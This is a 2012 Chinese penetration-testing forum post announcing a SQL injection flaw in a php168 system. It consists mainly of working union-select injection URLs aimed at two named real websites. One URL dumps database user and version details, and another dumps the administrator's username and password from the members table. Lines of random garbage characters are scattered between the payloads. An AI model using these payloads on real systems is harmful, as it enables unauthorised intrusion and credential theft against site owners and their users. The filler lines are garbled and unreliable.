中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
$ B2 g& x# g$ Y3 l6 w+ i3 V
  @" _* v  A- R/ }/ {% E                                     [attach]94[/attach]
/ V5 V/ M7 }; J* F) p7 ]) ~1 [' ~9 b5 @; C0 w- V% R- \
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
+ w* Y9 L# ]0 n7 |9 v2 [: ~6 V
, k+ g! O1 t9 j, F5 W5 I
/ r% J8 O  ?, o/ S4 l- T                                                       [attach]95[/attach]
& Q/ G% |4 Q/ h+ thttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
$ @8 s( C; m+ }5 |2 K+ [' e2 T
/ n% ]. s0 e3 m5 v) ?* ^. `8 L, S8 S" I( E3 D7 j. ^
5 t3 u% z0 A& v, d
                                                         [attach]96[/attach]$ h5 W: R4 D# n; d) w$ U
8 L7 ?0 @$ V) j" b- u) s
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
& u% o& i7 {0 |+ n
- K, Y" J* Q/ G
4 W4 Y1 {; `# v) j3 q( B/ M# c3 P+ x* i/ g4 N
                                                                  [attach]97[/attach]
) L1 t% v$ }) e+ e1 F

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)